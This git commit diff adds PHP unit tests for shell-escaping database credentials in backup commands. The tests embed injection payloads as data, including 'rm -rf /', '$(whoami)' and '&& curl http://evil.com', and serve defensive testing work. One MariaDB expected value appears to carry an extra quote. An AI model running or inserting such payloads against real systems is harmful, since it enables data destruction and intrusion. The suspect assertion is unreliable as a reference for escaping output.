fix(backup): use escapeshellarg for credentials in database backup commands

Apply proper shell escaping to all user-controlled values interpolated into backup shell commands (PostgreSQL username/password, MySQL/MariaDB root password, MongoDB URI). Also URL-encode MongoDB credentials before embedding in connection URI. Adds unit tests for escaping behavior. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-08-08 22:24:37 +00:00 · 2026-03-25 23:43:57 +01:00
parent ad95d65aca
commit 952f324797
2 changed files with 116 additions and 29 deletions
@@ -142,3 +142,83 @@ test('validateDatabasesBackupInput rejects injection in database name within mon
    expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
        ->toThrow(Exception::class);
 });
+
+// --- Credential escaping tests for database backup commands ---
+
+test('escapeshellarg neutralizes command injection in postgres password', function () {
+    $maliciousPassword = '"; rm -rf / #';
+    $escaped = escapeshellarg($maliciousPassword);
+
+    // The escaped value must be a single shell token that cannot break out
+    expect($escaped)->not->toContain("\n");
+    expect($escaped)->toBe("'\"; rm -rf / #'");
+    // When used in: -e PGPASSWORD=<escaped>, the shell sees one token
+    $command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
+    expect($command)->toContain("PGPASSWORD='");
+    expect($command)->not->toContain('PGPASSWORD=""');
+});
+
+test('escapeshellarg neutralizes command injection in postgres username', function () {
+    $maliciousUser = 'admin$(whoami)';
+    $escaped = escapeshellarg($maliciousUser);
+
+    expect($escaped)->toBe("'admin\$(whoami)'");
+    $command = "docker exec container pg_dump --username $escaped";
+    // The $() should be inside single quotes, preventing execution
+    expect($command)->toContain("--username 'admin\$(whoami)'");
+});
+
+test('escapeshellarg neutralizes command injection in mysql password', function () {
+    $maliciousPassword = 'pass" && curl http://evil.com #';
+    $escaped = escapeshellarg($maliciousPassword);
+
+    $command = "docker exec container mysqldump -u root -p$escaped db";
+    // The password must be wrapped in single quotes
+    expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
+});
+
+test('escapeshellarg neutralizes command injection in mariadb password', function () {
+    $maliciousPassword = "pass'; whoami; echo '";
+    $escaped = escapeshellarg($maliciousPassword);
+
+    // Single quotes in the value get escaped as '\''
+    expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
+    $command = "docker exec container mariadb-dump -u root -p$escaped db";
+    // Verify the command doesn't contain an unescaped semicolon outside quotes
+    expect($command)->toContain("-p'pass'");
+});
+
+test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
+    $maliciousUser = 'admin";$(whoami)';
+    $maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
+
+    $encodedUser = rawurlencode($maliciousUser);
+    $encodedPass = rawurlencode($maliciousPass);
+    $url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
+
+    // Special characters should be percent-encoded
+    expect($encodedUser)->not->toContain('"');
+    expect($encodedUser)->not->toContain('$');
+    expect($encodedUser)->not->toContain('(');
+    expect($encodedPass)->not->toContain('@');
+    expect($encodedPass)->not->toContain('/');
+    expect($encodedPass)->not->toContain('?');
+    expect($encodedPass)->not->toContain('&');
+
+    // The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
+    $atCount = substr_count($url, '@');
+    expect($atCount)->toBe(1);
+});
+
+test('escapeshellarg on mongodb URI prevents shell breakout', function () {
+    // Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
+    $maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
+    $escaped = escapeshellarg($maliciousUrl);
+
+    $command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
+    // The entire URI must be inside single quotes
+    expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
+    expect($command)->toContain("evil.com #'");
+    // No unescaped double quotes that could break the command
+    expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
+});